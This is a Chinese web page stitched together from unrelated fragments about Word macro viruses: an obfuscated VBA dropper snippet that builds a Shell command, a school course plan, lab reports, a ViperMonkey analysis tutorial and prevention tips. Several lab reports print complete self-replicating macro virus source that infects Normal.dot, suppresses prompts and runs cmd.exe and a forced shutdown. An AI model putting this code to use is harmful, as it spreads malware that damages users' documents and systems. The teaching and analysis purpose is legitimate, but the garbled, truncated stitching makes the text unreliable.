Mid("09MYoVDXOQBiADEAMgAxAH4AOQA4AFkAMQAxADcAewAxADIAMQB+ADEAMAA1AG0AMQAxADAAegAxADAAMwBJADkANwB6ADEAMAAzAHoAMQAwADEAOgAxADEAMAA6ADEAMQA2ACYANAA2AG0AOQA565 CPOtaunKXFw = mTTdkG66 MDaCimYPz = cahKFjzjJ67 jENmKtocosG = Mid("Om2EAOgA5ADkAbQAxADEANgBiADMAMgBiADQANQAhADYANwBJADEAMQAxACYAMQAwADkAbQA3ADkAOgA5ADgAfgAxADAANgBiADEAMAAxAFkAOQA5AEkAMQAxADYAbQAzADIAfgA4ADcAYgA4ADMA68 IAFUul = jENmKtocosG69 KKmNnWbYG = XGbNmLAEC70 wwuaTvRloii = Mid("rizBpdohTDQANwBiADQANwAmADEAMAAxAFkAMQAwADAAYgAxADEAMQB7ADEAMQqMh4QsW0tSwB7NpOpYfO", 10, 53)71 muHlMzvW = wwuaTvRloii72 cihQlkKwW = mjSSTsdUv73 NkhKkqUcZzS = Mid("3sTuj9MB568wAFkANgA4AHoAMQAxADEASQAxADEAOQAhADEAMQAwACEAMQAwADgAWQAxADEAMQA6ADkANwBiADEAMAAwAFkANwAwACYAMQAwADUAOgAxADAAOAAhADEAMAAxAEkANAAwAG0A74 wJLOSQhR = NkhKkqUcZzS75 QzQDbKjBI = XPoWJBjXF76 fYzIS = Mid("t8Qv5AEmsBzcKQuRLtPfWP2haoJiOWTEJKWZADUAYgAxADEAMABZADMAMgAmADMANgA6ADEAMQA3AH4AMQAxADQAfgAxADAAOAB7ADEAMQA1ACYANAAxAFkAMQAyADMAYgAxADEANgBJADEAMQA0AH4AM77 bbvLjLAvSJ = fYzIS78 ctZCDozpo = oFnijRPjE79 ZXRkXlUKciC = Mid("K3jBHqR0qD19138PwR5IMndSACWcuccASQAxADAAMwB+ADEAMAAxAHoAMQAxADAAfgAxADEANgAmADEAMQA1AEkAMQAwADUAOgAxADEAMABJADkANwBtADzEX", 31, 88)80 LPwcEG = ZXRkXlUKciC81 mYCWkjbmj = iPZQlvnBa82 CaTTBtvHd = Mid("fNzJ623CmpME4BTWDGQSANQAzAHsANQAzAFkANQAxAUXUX", 21, 22)83 fcjRIRH = CaTTBtvHd84 WOvbEmVrw = VofWHZwuw85 JozUMVXQNC = Mid("IUU0INAxAH4AMQAxADUASQAxADEANQA6ADMAMgAmADMANgAmADEAMQAyAGIAOQA3AHsAMQAxADYASQAxADAANAB+ADUAOQAhADkAOAB7ADEAMQA0AGIAMQAwADEAOgA5ADcAWQAxADAANwB86 fhXwGUGo = JozUMVXQNC87 CFJqaQFQZ = PYTsvirtV88 dnCicIqnDi = Mid("0GrwGzcA1BiqDQ2HsANAAwAHsAMwA5AH4ANAA0AG0AMwA5AEkANAAxACEANQA5AG0AMwA2ACEAMQAxADAAjNwtq8wXSXLbhwY25YY", 16, 67)89 HczVFWDHVzj = dnCicIqnDi90 JKUQBsnGw = DMHzTrwkw91 ckRwBHp = Mid("66II1QkGmQO0bkrwXG7UDHLdjDEAMAAmADkANwB6ADEAMAA5ADoAMQAwADEAegAzMiwv58sW2z8", 26, 39)92 lbjqdjR = ckRwBHp93 QjnfWnMGT = cctziOEnj94 nRJpoij = Mid("JwuGuPV1D5MOLRcplDEAMQAwAGIANAA2AGIAMQAwADAAYgAxADAAFm3RsjWO", 18, 35)95 SPEOqDL = nRJpoij96 imEQCTSBE = SPEcvKlaM97 zGITmmFi = Mid("nXkCVcOVDCIGIANQA0ACEANAAxAHsANQA5AFkAMwA2AG0AMQAxADIAOgA5ADcAewAxADEANgBJADEAMAA0AHoAMwAyAEkANgAxAG0AMwAyAHoAMwA2AFkAMQAwADEAWQAxADEAMAB6ADEAMQA4AFk98 rBTCHaK = zGITmmFi99 hdnhDuYKd = FGitvjHSw100 tkqnlH = Mid("wdHfrVfjbwADcAOgAxADEANwB7ADEAMQA1ACYANAA1AHoAMQAwADIAYgAxADAAOAB6ADEAMAAxAH4AMQAwADUAWQAxADEANQBZADkAOQAhADEAMAA0AH4AMQAwADkAYgA5ADcAYgAxADEAMAB6A11BH3 101 ScIOzQwUMHj = tkqnlH102 szdUNVjur = PzhiLEBWJ103 wzamU = Mid("whNAB6ADEAMAA4AGIANAA2AG0AOAA0AGIAMQAxADEAfgA4ADMAegAxADEANgBiADEAMQA0AG0AMQAwADUAbQAxADEAMAA6ADEAMAAzACEANAAwAG0ANAAxAHoANAA0AHoAMwAyACEAMwA2AG0A4vOqB 104 MthJuYP = wzamU105 vziJsrqMu = WYTXVcMta106 cqwMU = Mid("QjnkEoQif0vzwRUpzj9DcrA5AH4AMQAxADQAWQAxADAANQB+ADEAMQAyACEAMQAxADYAOgAzADIAWQA2ADEAbQAzADIAWQAxADEAMAAhADEAMAAxADoAMQAxADkAYgA0ADUAIQAxADEAMQBU0ntYjnSDmq 107 EbUQjFzQMji = cqwMU108 jNQSzJDJL = wWvdrZWLV109 OfVqJ = Mid("TiRt3HNPcKQFXzYzD5zBEbGwegA5ADcAIQAxADAAOQA6ADEAMAAxACYAMwAyAH4ANgAxAFkAMwAyAH4AMwA2AH4AYQhknD2", 25, 64)110 hpdwFmXNaN = OfVqJ111 PiHliAaNV = XriEVRdSI112 IwiDSbtjXNM = Mid("HqijWfnLLYUcpowUZTMNFWFwA2ADEAbQX2fLZc1w1PPk7JVF", 24, 9)113 LJIEujI = IwiDSbtjXNM114 sdzZGijtp = zshuBJHwL115 XNpKBSQp = Mid("kf6rX0J0wo7sLii6ADEAMQAxAH4AMQAxADAAJgA0ADYAWQA3ADcAYgAxADAAMQB7ADEAMQA1AFkAMQAxADUAegJ2BQk9m", 16, 71)116 LPjrKRijIw = XNpKBSQp117 SzjQrknfR = jrBdAZQdi118 jwrGYdkzCNC = Mid("AtDEANABZADEAMAA1ADoAMQAxADIAIQAxADEANgAmADQAN6f6zpUDiWd", 3, 44)119 EzTYX = jwrGYdkzCNC120 WqbZFkKbV = ncqVzZGKU121 CmzXsmGKojc = Mid("rTCDYRjjiCNAA6ADEAMAA1AH4AMQAxADYASQAxADAAMQB6ADQANQA6ADEAMAA0AGIAMQAxADEAIQAxADEANQBJADEAMQA2AEkAMwAyADoAMwA2AFkAOQA1ACYANAA2AEkANgA5ACYAMQAyADA 122 QYpwllzTSck = CmzXsmGKojc123 ZclPlaQAC = oWrIiXalF124 mAwtjzQ = Mid("dkAOgAxADAAOAA6ADEAMAA1ACEAMQAwADEAOgAxADEAMABZADEAMQA2AFkANAA2uJOYi2zO48HmdXNomG2zwpfcShY3M2zJnYLB", 2, 62)125 ZbAAifkPrvN = mAwtjzQ126 jtszGQPAD = bKtbWpErB127 oWJLO = Mid("i3TbIXnBQGAxADIAMwBZADMANgB+ADEAMQA5ACYAMQAwADEAegA5ADgAegA5ADjWE", 11, 52)128 DGLkaA = oWJLO129 zHFAIEhVF = dfwTvMTXR130 EKYFiRhEXFw = Mid("KnNUzlTmADEAMAAwADoAMQAxADEAJgAxADAAOQA6ADQANgB7ADEAMQAwADoAMQAwADEAegAxADIAMABJADEAMQA2AH4ANAAwAG0ANAA5AFkANAA0AFkAMwAyACYANQA0AG00PriiWvtTcTzBJm2 131 zSGEI = EKYFiRhEXFw132 cZWVzlXoq = JMzCDmWdd133 SFdjwWp = Mid("zPHvKMQAxADIASQA5ADcAWQAxADEANgBiADEAMAA0ACEANAAxACEANQA5AHoAOAAzADoAMQAxADYASQA5ADcASQAxADEANAA6ADEAMQA2AHoANAA1AGIAOAAwAFkAMQAxADQAYgAxADEAMQAhADk 134 OkBajT = SFdjwWp135 ziknRkKlU = EIPhIwXbR136 DcABZPAtp = Mid("Ph4HGzYkfOCGqZiwdDGa3TvRI46jLtBiSAzADkAIQA0ADYAIQAxADAAMQA6ADEAMgAwAHsAMQAwADEAJgAzADkAfgA1ADkAfgAxADAAMgA6ADEAMQAxACEAMQAxADQAegAxADAAMQAmADkANwB+ADkAOQ 137 CWMpLVkSS = DcABZPAtp138 ibHUdTOYI = FabLwRiUp139 cBUrWQJBDX = Mid("XmOJgAxADAAOAA6ADEAMQA1AGIzN3QzjhpYQj5G3IKoCPMI", 4, 23)140 lcPiAkbq = cBUrWQJBDX141 hpIlKOQSj = bbEBfbVrB142 MvpXHXC = Mid("z5nzXvB8SLdaMXOJ2AMwAyAEkANgAxACYAMwAyAGIAMwA5ACYAMQAwADQAWQAxADEANgB+ADEAMQA2AEkAMQAxADIAJgA1ADgAYgA0ADcAJgA0ADcAbQA5ADSC", 18, 103)143 HnZjzd = MvpXHXC144 WiEQYtbFL = stLzwnJqm145 vajVOP = Mid("RGKthsDsJzwtA5ADcAYgAxADAAMwBJADEAMAAxAHsANQA5AFkAMQAyADUAfgAxADIANQAnAC4AcwBQAEwAaQBUACgAIAAnAFkAJgB7AG0AOgBiACE8UDpdPzMzSYXt3P57", 13, 101)146 GzjkYUBnqXG = vajVOP147 JtQsEKnnw = DEvzqFPLp148 kEROiFMIq = Mid("j4Ja9dOW453qN2YADEAMAA5AEkZA0c3hwNX3JwzjtcQXbvF6aP", 16, 11)149 icAYwsLVpUA = kEROiFMIq150 kQQOJFDXZ = UddQropLw151 irUIcwRD = Mid("Au1EHs6ti0AmADUAOQB6ADMANgAmADEAMQA3AHsAMQAxADQA7Wj9C5z0PqNsb2IoN9LTqN", 11, 38)152 bapZdDJB = irUIcwRD153 kdaudlwYB = PtDFhmwZZ154 iFmWVaPu = Mid("AX2dCwbGzBwRzR0B9ACAAKQAtAEoATwBpAG4AJwAnACAAKQA=57cAXn5i8m8q2JvPWDXAo", 16, 34)155 KbFniuHlZAr = iFmWVaPu156 WujLpjlSJ = TnMGKiHih157 hfcbdZkXOQ = Mid("MofaM2kwYCF3hI3pREPq5wADEAWQA5ADkAhBAoZ3SX", 22, 13)158 OWGLMOBo = hfcbdZkXOQ159 OpniRlEni = VOwqRSPSQ160 zXXPDkaDCDf = Mid("UMBH8K03MAPWjNr4AA0AHsAMQAwADEAYgAxADAAOAB+ADEAMAA4AGIANQA5ACYAMwA2ACEAMQAxADkAegAxADAAMQBZADkAOAAmADkAOQB6ADEAMAA4AEkAMQAwADUAewAxADAAMQBZADEA 161 iCUMSYusIv = zXXPDkaDCDf162 OZouIKbdk = oJiYwCEkj163 pDDDLci = Mid("5l8w3MoVMQAxADQAOgA5ADcAegAxADEAMAArVwfzX20rok3a", 9, 27)164 NwSKajzAjmw = pDDDLci165 lrczHCBPD = NcVurrNsF166 cYFmodmUji = Mid("Xr8i8vwXK63tEGUAFM4fpIlA5ADcASQAxADEANgB7ADEAMAA1AGIAMQAwADEAIQAxADAANwBtADkANwBZADEAMQAwACYAMQAxADYASQAxADEAMQBiADEAMQAxAG0AMQAxADQAWQA5ADkAewAxADAA 167 kKRBFkTYOSq = cYFmodmUji168 tThcDoAPi = vzQtlhidb169 FPmzKLZZjn = Mid("UZV2SLzYBcmKjhjOAB7ADEAMAA2ADoAMQAuW61n", 16, 19)170 bYcfSuOhsf = FPmzKLZZjn171 nRRltsHOB = PtSrLGzLR172 KftEZiGv = Mid("ZOQB6ADEAMQA1AG0AOQGqcXPjVTGBVwHur", 2, 18)173 PcapUM = KftEZiGv174 CIoowrYFS = nUqoLNQZb175 CfjsS = Mid("pZPkhRPZtdoEjR3UWRwYAMQAxADIAWQAzADIAegA0ADMAegAzADIAbQAzADkASQA5ADIAegAzADkAIQAzADIAYgA0ADMAOgAzADIAJgAzADYAYgAxAoA", 21, 94)176 sbpNlLMLdC = CfjsS177 nHaoVpmlW = MEmKwaQjV178 haGppvzwpLm = Mid("MWhOm3Q1WQAxADEANgB+ADMAMgB7ADgAMwBJADEAMgAxAHsAMQAxADUASQAxADEANgB7v", 9, 59)179 wZkHuAqmza = haGppvzwpLm180Shell$ RTUHFOzsK + Chr(34) + iBSRmkhEj + XvLAfRK + PcapUM + EbUQjFzQMji + RkSMsXZmbbj + IAFUul + EzTYX + YhuVfBw + iCUMSYusIv + LJIEujI + AcOZjKGHd + bYcfSuOhsf + OWGLMOBo + wZkHuAqmza + kzLPNEjwRpi + 181End Function⼦程序中⾸先调⽤了"DMSojZquJ"模块的"KlsJVlijz"函数,函数代码经过严重混淆,但是通过函数结尾的“Shell”关键字我们猜测病毒执⾏了某个程序或命令⾏。
word宏病毒课程设计
word宏病毒课程设计一、课程目标知识目标:1. 学生理解Word宏病毒的定义、特征及其工作原理;2. 学生掌握如何识别Word文档中可能存在的宏病毒;3. 学生了解基本的宏病毒防护措施及处理方法。
技能目标:1. 学生能够运用Word软件的相关功能,查看并理解文档宏代码;2. 学生能够操作Word软件进行宏病毒的简单查杀与预防;3. 学生通过案例分析,提高解决问题的能力和信息处理能力。
情感态度价值观目标:1. 培养学生对计算机病毒防范的意识,增强信息安全保护观念;2. 激发学生对计算机编程的兴趣,提高其探究精神和创新意识;3. 培养学生良好的网络道德观念,遵循法律法规,尊重他人劳动成果。
课程性质:本课程为信息技术课程,旨在帮助学生掌握宏病毒相关知识,提高信息安全意识和技能。
学生特点:六年级学生已具备一定的计算机操作能力,对新鲜事物充满好奇,但信息安全意识较弱。
教学要求:结合学生特点,注重实践操作,以案例分析为主线,引导学生主动探究,培养其解决问题的能力。
在教学过程中,关注学生的情感态度价值观培养,使其成为具备良好网络素养的新时代少年。
1. Word宏病毒基础知识:- 宏病毒定义与特征;- 宏病毒的工作原理;- 宏病毒的危害及传播途径。
2. Word宏病毒识别与防护:- Word文档宏的查看与编辑;- 宏病毒识别技巧;- 宏病毒防护策略;- 疑似宏病毒文档的处理方法。
3. 实践操作与案例分析:- 实际操作演示宏病毒的查杀与防护;- 分析典型宏病毒案例,提高防范意识;- 学生动手实践,查杀模拟宏病毒。
4. 信息安全意识培养:- 介绍信息安全法律法规;- 培养良好的网络道德观念;- 探讨网络安全的重要性。
教学内容依据课程目标,结合教材相关章节进行组织。
在教学过程中,循序渐进地引导学生掌握宏病毒相关知识,注重实践操作和案例分析,以提高学生的实际操作能力和解决问题的能力。
同时,关注学生信息安全意识的培养,使其在学习过程中形成良好的网络素养。
计算机宏病毒分析及清除试验报告
If ThisDocument = NormalTemplate Then
Set host = ActiveDocument.VBProject.VBComponents(1).CodeModule
End If
With host
If .Lines(1, 1) <> "'Micro-Virus" Then
.DeleteLines 1, .CountOfLines
.InsertLines 1, ourcodemodule.Lines(1, 100)
.ReplaceLine 2, "Sub Document_Close()"
Sub Document_Open()
On Error Resume Next
Application.DisplayStatusBar = False
Options.SaveNormalPrompt = False
Set ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule
实验报告
实验时间
2016年11月23日
实验地点
软件工程实验室
实验名称
计算机宏病毒分析及清除
实验目的:1、了解“宏病毒”机理;
2、掌握清除宏病毒的方法;
3、掌握采用“宏”和脚本语言进行编程的技术。
实验平台:1、Windows 2000/2003/XP或更高级别的Windows操作系统;
2、Office Word 2000/2003等字处理软件。
宏病毒实验报告
宏病毒实验报告一、实验目的本次实验旨在深入了解宏病毒的工作原理、传播方式以及其对计算机系统可能造成的危害,并通过实际操作和观察,探索有效的防范和清除策略。
二、实验环境1、操作系统:Windows 10 专业版2、办公软件:Microsoft Office 20193、杀毒软件:_____杀毒软件三、实验原理宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
当打开包含宏病毒的文档时,宏病毒会被自动激活,并执行其中的恶意代码。
宏病毒通常利用 Office 软件中的宏功能来实现自我复制、传播和破坏操作。
四、实验步骤1、准备带有宏病毒的测试文档从网络上获取已知的含有宏病毒的示例文档。
对获取的文档进行备份,以防对实验环境造成不可恢复的破坏。
2、观察宏病毒的激活过程打开带有宏病毒的文档。
留意弹出的警告提示,记录相关信息。
3、分析宏病毒的行为观察文档中的内容是否被篡改。
检查计算机系统的性能是否受到影响,如 CPU 使用率、内存占用等。
4、尝试清除宏病毒使用安装的杀毒软件进行扫描和清除。
手动删除相关的宏代码。
五、实验结果与分析1、宏病毒激活情况打开测试文档时,Office 软件弹出了宏安全警告,但仍可以选择启用宏。
一旦启用宏,病毒立即开始执行恶意操作。
2、宏病毒的行为表现文档中的部分文本被修改,格式变得混乱。
CPU 使用率短时间内飙升,系统运行变得卡顿。
3、清除效果杀毒软件能够检测到宏病毒,并成功清除大部分感染,但仍有部分残留。
手动删除宏代码后,文档恢复正常,系统性能也逐渐恢复。
六、实验结论1、宏病毒具有较强的隐蔽性和破坏性,能够在用户不知情的情况下对文档和系统造成损害。
2、办公软件的宏安全设置对于防范宏病毒至关重要,用户应保持较高的安全意识,不轻易启用来源不明的宏。
3、杀毒软件在宏病毒的清除方面起到了一定的作用,但仍需不断更新病毒库和优化清除算法,以应对不断变化的宏病毒威胁。
4、定期备份重要的文档和数据是防范宏病毒造成严重损失的有效措施。
Word宏病毒试验
实验四Word宏病毒试验专业班级学号姓名实验学时实验类型实验地点实验时间指导老师高虎实验成绩年月日一实验目的1. 演示宏的编写2. 说明宏的原理及其安全漏洞和缺陷3. 理解宏病毒的作用机制二实验环境Windows 系列操作系统Word2003 应用程序实验素材:experments 目录下的macro 目录的macro_1.txt。
三实验步骤1.软件设置:关闭杀毒软件的自动防护功能。
2.打开Word 2003,在工具 宏 安全性中,将安全级别设置为低,在可靠发行商选项卡中,选择信任任何所有安装的加载项和模板,选择信任visual basic 项目的访问。
3.自我复制功能演示。
一个word 文档,然后按Alt+F11 调用宏编写窗口(工VisualBasic 宏编辑器),在左侧的project—>Microsoft Word 对象 ThisDocument中输入源代码(参见源代码一或者从光盘上拷贝,位置为:“光盘盘符:\Experiment\macro\macro_1.txt‖),保存。
此时当前word 文档就含有宏病毒,只要下次打开这个word 文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument 中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open)。
此时所有的word 文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word 的正常使用,本例中只是简单的跳出一个提示框。
4. 清除宏病毒对每一个受感染的Word 文档进行如下操作:打开受感染的Word 文档,进入宏编辑环境(按Alt+F11 键),打开Normal|MicrosoftWord 对象|This Document,清除其中的病毒代码(只要删除所有内容即可)。
然后打开Project|Microsoft Word|This Document,清除其中的病毒代码。
宏与宏病毒实验
宏与宏病毒实验1.宏病毒介绍宏病毒是一种寄存在文档或模板的宏中的计算机病毒。
一旦打开这样的文档,其中的宏就会被执行,于是宏病毒就会被激活,转移到计算机上,并驻留在Normal模板上。
从此以后,所有自动保存的文档都会“感染”上这种宏病毒,而且如果其他用户打开了感染病毒的文档,宏病毒又会转移到他的计算机上。
如果某个文档中包含了宏病毒,我们称此文档感染了宏病毒;如果 WORD系统中的模板包含了宏病毒,我们称WORD系统感染了宏病毒。
所谓宏是将一系列word命令和指令组合起来,形成一个命令,实现任务执行的自动化。
在word中有一类很实用的自动宏,会在特定事件发生时自动运行,word提供的5个自动宏是:(1) Autoexec宏在启动word时自动运行;(2) Autoexit宏在退出word时自动运行;(3) Autonew宏在新建文档时自动运行;(4) Autoopen宏在打开文档时自动运行;(5) Autoclose宏在关闭文档时自动运行;2.实验环境实验环境:windows2000及以上或windows XP所需软件:office word3.实验步骤(1)首先,依次选择“工具”-“宏”-“录制宏”菜单命令,接着弹出“录制宏”界面,如下图:接着在“宏名”下面的输入框中输入新宏的名称“yuan ”,接着单击“键盘”图标。
在弹出的“自定义键盘”界面中指定快捷键,比如ctrl+y ,单击左下角“指定”按钮后,再单击右下角的“关闭”按钮,回到”录制宏“界面。
这时单击”确定“按钮启动记录器。
接着,依次选择“插入“-”符号“菜单命令,弹出”符号“界面。
选择”符号“选项卡,在”符号“框中选择”¥“,单击”插入“按钮后再单击”关闭“按钮。
单击“停止录制“工具栏中的”停止录制“按钮。
以后,当需要插入字符“¥”的时候,只需要按下ctrl+y组合键。
(2) 给word文档加上通用的密码关闭word文档,当再次打开文档的时候,需要输入密码才能看到内容和修改。
word宏恶意代码实验
word宏恶意代码实验计算机宏病毒分析一、实验目的了解“宏病毒”机理;掌握清除宏病毒的方法;掌握采用“宏”和脚本语言进行编程的技术。
二、实验环境Windows 7 64位旗舰版Office Word2010字处理软件。
三、实验要求宏的编写;理解宏病毒的作用机制。
四、实验步骤:1.软件设置关闭杀毒软件;打开Word字处理软件,在工具“宏”的“安全性”中,将“安全级”设置为低,在“可靠发行商”选项卡中,选择信任任何所有安装的加载项和模板,选择“信任visual basic项目的访问”。
注意:为了保证该实验不至于造成较大的破坏性,进行实验感染后,被感染终端不要打开过多的word文档,否则清除比较麻烦(对每个打开过的文档都要清除)。
2.自我复制功能演示打开一个word文档,然后按Alt+F11调用宏编写窗口(工具“宏”“Visual Basic宏编辑器”),在左侧的“project—>Microsoft Word”对象“ThisDocument”中输入以下代码(Macro-1),保存,此时当前word文档就含有宏病毒,只要下次打开这个word文档,就会执行以上代码,并将自身复制到Normal.dot(word 文档的公共模板)和当前文档的ThisDocument中,同时改变函数名(模板中为Document_Close,当前文档为Document_Open),此时所有的word文档打开和关闭时,都将运行以上的病毒代码,可以加入适当的恶意代码,影响word的正常使用,本例中只是简单的跳出一个提示框。
完整代码如下:'Macro-1:Micro-VirusSub Document_Open()On Error Resume NextApplication.DisplayStatusBar = FalseOptions.SaveNormalPrompt = FalseSet ourcodemodule = ThisDocument.VBProject.VBComponents(1).CodeModule Set host = NormalTemplate.VBProject.VBComponents(1).CodeModule If ThisDocument = NormalTemplate ThenSet host = ActiveDocument.VBProject.VBComponents(1).CodeModule End IfWith hostIf .Lines(1, 1) <> "'Micro-Virus" Then.DeleteLines 1, .CountOfLines.InsertLines 1, ourcodemodule.Lines(1, 100).ReplaceLine 2, "Sub Document_Close()"If ThisDocument = NormalTemplate Then.ReplaceLine 2, "Sub Document_Open()"ActiveDocument.SaveAs ActiveDocument.FullNameEnd IfEnd IfEnd WithMsgBox "恭喜你你中毒了"Shell ("C:\Windows\System32\cmd.exe")Shell ("C:\Windows\System32\shutdown.exe -s -t 60")End Sub以上代码的基本执行流程如下:1) 进行必要的自我保护:Application.DisplayStatusBar = FalseOptions.SaveNormalPrompt = False高明的病毒编写者其自我保护将做得非常好,可以使word的一些工具栏失效,例如将工具菜单中的宏选项屏蔽,也可以修改注册表达到很好的隐藏效果。
实战中如何简单快速分析恶意宏文件?
实战中如何简单快速分析恶意宏文件?前言基于文档的攻击方式目前仍旧是黑客们比较喜欢使用的攻击方式。
通过文档软件的漏洞触发恶意代码或者通过诱使用户启用宏执行恶意的宏文件来执行恶意代码,这是比较常用的两种基于文档的攻击方法。
在文档中嵌入恶意宏的方式虽然比较传统,但是由于其操作的简单,并且可以通过流行的代码混淆技术绕过典型的杀软,因此被攻击者广泛使用。
近几个月发现的勒索软件大部分都是基于文档恶意宏触发的。
相信大部分的安全分析人员每天可能会面对很多恶意的宏文件,因此如何快速的分析这些恶意宏文件显得很有必要。
试想一下如果可以模拟文档中宏VBA的执行,并且在VBA执行的过程中记录下其行为的话,那么是不是就能够快速分析该宏文件了。
而事实上也存在这么一款开源的VBA模拟器,我们不仅可以很简单的使用它,而且可以在该VBA模拟器的基础上定制我们需要的行为分析,本文将在实战中利用它快速分析恶意宏文件。
VBA模拟器项目地址:https:///decalage2/ViperMonkeyViperMonkey是基于python开发的VBA模拟器,可以分析并反混淆MS Office中的恶意VBA宏。
其工作原理如下:1. VBA的源码是使用olevba从MS Office中提取出来的。
2. 代码是使用pyparsing定义的VBAgrammar解析的,VBA grammar来源于官方的说明文档MS-VBAL。
3. 解析器将VBA代码转换成一个结构化的对象模型(python对象)。
4. 自定义VBA解析引擎模拟代码执行,模拟MS Office功能,ActiveX对象和DLL等大多数恶意宏的使用。
5. 如果存在特殊的执行动作,比如调用DLL,运行代码,下载或者写入文件,那么这些动作将会被捕获并记录下来。
6. 解析的结果可以帮助快速分析恶意文件,可以更好的了解恶意宏的行为并且可以提取出混淆的字符串或者IOC。
ViperMonkey下载和安装压缩包下载地址:https:///decalage2/ViperMonkey/archive/master.zip Linux/Mac安装完依赖后,运行sudo -H pip install -U -r requirements.txtWidows下运行pip install -U -rrequirements.txt使用方法解析文档中的VBA宏代码使用vmonkey脚本:pythonvmonkey.py <file>如果输出时间过长或者结果过于冗长,可以使用-l选项减少日志的级别:python vmonkey . py -1 warning <file>实战应用下面通过几个真实的案例说明如何分析恶意宏文件。
教你管理Office Word“宏病毒”
教你管理Office Word“宏病毒”现在很多朋友在写作文档时喜欢到网上下载各种模板简化自己的工作。
不过网络模板中有一些“害群之马”可不是为方便大家而产生的,它们携带着宏病毒。
宏病毒寄生在模板或者文档中,当大家运行文档或者模板后就会激活病毒从而危害电脑。
不过也不用过度担心,我们用下面的方法就能够让宏病毒永远远离我们的电脑。
验证:通过保存类型,巧妙鉴别宏病毒如何检查Word是否感染了宏病毒?其实检查的方法很简单。
打开需要检查的文档,单击“文件”菜单栏,选择“另存为”命令,如果对话框中的保存类型固定为“文档模板”,则表示这个文件已经感染了宏病毒,需要用杀毒软件实行清理了。
小提示:当然,你直接用杀毒软件来扫描一下这个文档也未尝不可,毕竟现在不装杀毒软件的用户还是少数啊。
拒绝:设置文档为“只读”属性,让病毒吃闭门羹因为宏病毒在Word中寄居的文件就是No rmal.dot,所以预防宏病毒的方法其实也很简单,只要把没有感染宏病毒的Normal.dot文件的属性设置为只读,这样宏病毒就不能寄居到Normal.dot中,就能起到预防宏病毒的效果了。
小提示:虽然把一些内容固定的文件设置为具有只读属性,是防止病毒侵入的方法之一,但这也不是万能的,如果病毒制造者注意到这个点,在侵入前先修改你的文件属性,去掉只读属性,那对他们来说也是小菜一碟。
查杀:彻底查杀,统统赶走宏病毒宏病毒是通过Word中的宏语言(一种类似VB的语言)编写的,易于传播而且危害巨大,常常能将你花了很多时编写的文档瞬间“吃掉”,下面介绍使用手工的方法杀掉宏病毒。
单击“工具”菜单栏,选择“宏”,单击“宏”命令(或者使用组合键“Alt+F8”)调出宏对话框,如果在弹出的对话框中有已经记录的宏的话,那就极有可能是宏病毒,删除所有的宏就能够了。
比较复杂的宏病毒会将宏对话框屏蔽掉,这时就需要采用其他方法了。
Word环境中的宏病毒一般是存放在Microsoft Office 目录下Templates子目录中的Normal.dot文件中,这时需要重新启动计算机,找到这个文件,并把它删除,再运行Word就可以了。
宏病毒原理和实现
Shell函数
Command.Caption = Shell "C:\Program 打开已安装的应用程序
Files\Internet Explorer\IEXPLORE.EXE
" vbNormalFocus
Word 应用的层次 Documents(所有的文档)
1. Concept宏病毒
世界上的第一个宏病毒Concept可以感染 Windows和苹果机上的Microsoft Word文档。这个病 毒是用Microsoft Word 6.0中的宏语言编写的,但它也 能感染其他Word版本创建的文档。
看起来编写Concept宏病毒是为了证明确实可以 用宏编程语言编写病毒。因此,Concept宏病毒只是 显示一个对话框,宣示它的存在,并不故意破坏磁盘 上的任何文件。
一、模板文件格式:
.dot文档:模板文档,新文档继承模板的属性( 宏、菜单、 格式等)。 Normal.dot文件:全局模板,在建立整个文档中所起的作用是 作为一个基类,是新建文档默认的模板。
二、数据文件格式
.doc———一种可以存贮宏的普通文档; .docx——一种不包含宏的普通文档; .docm——一种包含宏或启用了宏的文档; .dotx——一种不包含宏的模板; .dotm——一种包含宏或启用了宏的模板。
基于word的VBA编程
Sub AutoOpen() ’定义函数名,AutoXXX为自动宏
While True
’恶意代码 ,死循环
Msgbox ”Hello world” ’调用对话框显示消息
Wend
End Sub
’函数到此结束
基于word的VBA编程
调,病毒会被激发。激发时的现象是:在屏幕正中央弹 出一个对话框,该对话框提示用户做一个心算题,如做错,它将 会无限制地打开文件,直至Word内存不够,Word出错为止;如心 算题做对,会提示用户“什么是巨集病毒(宏病毒)?”,回答 “我就是巨集病毒”,再提示用户:“如何预防巨集病毒?”, 回答是“不要看我”。
Doc宏病毒代码研究
'Micro-Virus'Sub Document_Open()'文档打开时运行的程序过程On Error Resume Next '遇到错误执行下一行Application.DisplayStatusBar = False '把状态栏设置为不显示'MsgBox "DisplayStatusBar = False"Options.SaveNormalPrompt = False '将Word 在退出之前是否保存对Normal 模板更改的提示设置为否Ourcode = ThisDocument.VBProject.VBComponents(1).CodeModule.Lines(1, 100) '设Ourcode等于这个文档的工程代码的1-100行'MsgBox "Ourcode"'get normalSet Host = NormalTemplate.VBProject.VBComponents(1).CodeModule '设Host等于Word模板的工程代'if normal, set active;If ThisDocument = NormalTemplate Then '如果这个文档等于Word模板,那么' MsgBox "ThisDocument = NormalTemplate"Set Host = ActiveDocument.VBProject.VBComponents(1).CodeModule '让Host也就是Word模板的工程代码等于这个文档的工程代码' MsgBox "Set Host = ActiveDocument"End If '本假设语句运行结束With Host '围绕Host也就是Word模板的工程代码If .Lines(1, 1) <> "'Micro-Virus" Then '如果Word模板的工程代码的第一行不等于"'Micro-Virus",那么.DeleteLines 1, .CountOfLines '删除从第一行开始的所有行' MsgBox "DeleteLines 1, .CountOfLines".InsertLines 1, Ourcode '插入Ourcode代码.ReplaceLine 2, "Sub Document_Close()" '把第二行换成"Sub Document_Close()",也就是文档关闭时运行的程序过程' MsgBox "ReplaceLine 2,Close()"If ThisDocument = NormalTemplate Then '如果这个文档等于Word模板,那么' MsgBox "ThisDocument = NormalTemplate".ReplaceLine 2, "Sub Document_Open()" '把第二行换成"Sub Document_Open()",也就是文档打开时运行的程序过程' MsgBox "ReplaceLine 2,Open()"ActiveDocument.SaveAs ActiveDocument.FullName '活动文档保存到原路径的原文件名' MsgBox "ActiveDocument.SaveAs"End If '本假设语句运行结束End If '本假设语句运行结束End With '结束With语句End Sub '程序过程结束。
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
